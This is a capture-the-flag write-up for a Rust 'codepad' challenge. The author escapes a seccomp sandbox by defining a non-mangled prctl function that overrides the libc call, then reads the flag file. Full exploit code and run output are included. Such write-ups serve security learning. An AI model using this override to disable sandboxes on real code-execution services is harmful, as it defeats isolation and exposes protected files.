Rating:

This was a fun challenge. We're only allowed to use safe rust code (`-F unsafe_code` passed to rustc). First I tried to find issues that allowed me to do something unsafe from within safe rust code. However, this didn't yield any results.

Then I noticed that one can download the `codepad` binary from the web "shell" interface, via https://arcade.fluxfingers.net:1814/cat/target/release/codepad. A quick look in binja revealed that the binary was compiled with the unredacted version of `main.rs`. The sandbox is strict seccomp mode, which only allows read/write to stdin/stdout/stderr and exit. It is activated by a call to the prctl libc function:

```c
prctl(22, SECCOMP_SET_MODE_STRICT);
```

Since rust statically links all rust libraries (such as the `code` library we control), I was wondering whether I could override the prctl function from within the code library namespace. Turns out this actually works.
We can specify a local function called `prctl` and apparently this will override the external import. We'll just have to make sure it's externally visible and not mangled (i.e., not namespaced like a normal rust function):

```rust
#[no_mangle]
pub extern "C" fn prctl(a: i64, b: i64) -> i64 {
println!("fake prctl");
0
}
```

This fake prctl will prevent the sandbox from becoming active and we can simply use rust to read the flag file.

```rust
use std::fs::File;
use std::io::prelude::*;

// fake prctl
#[no_mangle]
pub extern "C" fn prctl(a: i64, b: i64) -> i64 {
println!("fake prctl");
0
}

pub fn code() {
// now we can simply open the flag and read it, since the sandbox was never made active.

println!("hello!");

println!("opening file!");
let fname = "./flag.txt";

let mut file = match File::open(fname) {
Ok(file) => file,
Err(error) => {
println!("failed :(\n{}", error);
panic!("paaanic");
}
};

println!("reading file!");
let mut contents = String::new();
file.read_to_string(&mut contents)
.expect("something went wrong reading the file");

println!("result:\n{}", contents);
}
```

the output:

```
$ rusty.sh
please wait...
rustc 1.20.0 (f3d6973f4 2017-08-27)
Compiling code v0.1.0 (file:///tmp/tmprliab8pe/codepad/lib/code)
warning: unused variable: `a`
--> lib/code/src/lib.rs:5:25
|
5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 {
| ^
|
= note: #[warn(unused_variables)] on by default
warning: unused variable: `b`
--> lib/code/src/lib.rs:5:33
|
5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 {
| ^
Finished dev [unoptimized + debuginfo] target(s) in 0.46 secs
Compiling libc v0.2.43
Compiling code v0.1.0 (file:///tmp/tmprliab8pe/codepad/lib/code)
warning: unused variable: `a`
--> lib/code/src/lib.rs:5:25
|
5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 {
| ^
|
= note: #[warn(unused_variables)] on by default
warning: unused variable: `b`
--> lib/code/src/lib.rs:5:33
|
5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 {
| ^
Compiling rand v0.4.3
Compiling codepad v0.1.0 (file:///tmp/tmprliab8pe/codepad)
Finished dev [unoptimized + debuginfo] target(s) in 5.74 secs
Running `target/debug/codepad`
fake prctl
hello!
opening file!
reading file!
result:
flag{safe_code_is_unsafe}
```